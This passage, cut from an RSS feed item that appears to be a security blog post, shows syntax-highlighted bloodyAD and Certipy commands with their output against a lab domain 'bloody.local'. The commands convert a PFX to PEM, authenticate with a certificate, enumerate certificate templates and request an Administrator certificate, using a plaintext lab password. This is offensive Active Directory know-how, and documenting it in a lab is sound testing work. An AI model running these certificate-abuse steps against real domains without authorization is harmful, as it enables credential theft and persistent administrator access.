&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;openssl&lt;/span&gt; &lt;span class="n"&gt;pkcs12&lt;/span&gt; &lt;span class="n"&gt;-in&lt;/span&gt; &lt;span class="n"&gt;administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;pfx&lt;/span&gt; &lt;span class="n"&gt;-out&lt;/span&gt; &lt;span class="n"&gt;administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;pem&lt;/span&gt; &lt;span class="n"&gt;-nodes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Enter&lt;/span&gt; &lt;span class="n"&gt;Import&lt;/span&gt; &lt;span class="n"&gt;Password&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Use cert authentication&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt; &lt;span class="n"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;:administrator.pem&amp;#34;&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DC=bloody,DC=local&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="nb"&gt;msDS-Behavior&lt;/span&gt;&lt;span class="n"&gt;-Version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;msDS-Behavior&lt;/span&gt;&lt;span class="n"&gt;-Version:&lt;/span&gt; &lt;span class="n"&gt;DS_BEHAVIOR_WIN2016&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="旧版-certipy-v209"&gt;旧版 certipy v2.0.9&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# Grab the cert&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Get the CA Authority name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## -debug is required in my env or it doesn&amp;#39;t work&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;certipy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;find&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;passw0rd&lt;/span&gt;&lt;span class="nv"&gt;@192&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;-debug&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Certipy&lt;/span&gt; &lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;Oliver&lt;/span&gt; &lt;span class="n"&gt;Lyak&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ly4k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Finding&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;templates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Authenticating&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;LDAP&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Bound&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;ldaps&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="p"&gt;//&lt;/span&gt;&lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;636&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;ssl&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="k"&gt;Default&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="kd"&gt;Configuration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;path: &lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Configuration&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mf"&gt;33&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;templates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Finding&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;authorities&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;resolve&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;WIN-IJ5B521UO5L.bloody.local&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;192.168.10.2&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;CA&lt;/span&gt; &lt;span class="kd"&gt;configuration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;for &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bloody-WIN-IJ5B521UO5L-CA&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;CSRA&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt; &lt;span class="n"&gt;system&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;isFQDN&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;StringBinding&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;\\\\&lt;/span&gt;&lt;span class="nb"&gt;WIN-IJ5B521UO5L&lt;/span&gt;&lt;span class="p"&gt;[\\&lt;/span&gt;&lt;span class="n"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;\\&lt;/span&gt;&lt;span class="n"&gt;cert&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;StringBinding&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;WIN-IJ5B521UO5L&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mf"&gt;49702&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Got&lt;/span&gt; &lt;span class="n"&gt;CA&lt;/span&gt; &lt;span class="kd"&gt;configuration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;for &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bloody-WIN-IJ5B521UO5L-CA&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Resolved&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;WIN-IJ5B521UO5L.bloody.local&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Connecting&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Found&lt;/span&gt; &lt;span class="mf"&gt;11&lt;/span&gt; &lt;span class="n"&gt;enabled&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;templates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saved&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;20220506173005_Certipy.txt&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saved&lt;/span&gt; &lt;span class="n"&gt;JSON&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;20220506173005_Certipy.json&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saved&lt;/span&gt; &lt;span class="n"&gt;BloodHound&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;20220506173005_Certipy.zip&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Drag&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;drop&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;into&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;BloodHound&lt;/span&gt; &lt;span class="n"&gt;GUI&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;## Get the PFX&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;venv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;certipy&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="n"&gt;bloody&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;passw0rd&lt;/span&gt;&lt;span class="nv"&gt;@192&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;2&lt;/span&gt; &lt;span class="n"&gt;-ca&lt;/span&gt; &lt;span class="nb"&gt;bloody-WIN&lt;/span&gt;&lt;span class="n"&gt;-IJ5B521UO5L-CA&lt;/span&gt; &lt;span class="n"&gt;-debug&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Requesting&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ncacn_np&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;[\&lt;/span&gt;&lt;span class="n"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;cert&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Connected&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ncacn_np&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;[\&lt;/span&gt;&lt;span class="n"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;cert&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Successfully&lt;/span&gt; &lt;span class="n"&gt;requested&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mf"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Got&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="n"&gt;UPN&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Administrator@bloody.local&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saved&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;private&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;administrator.pfx&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item></channel></rss>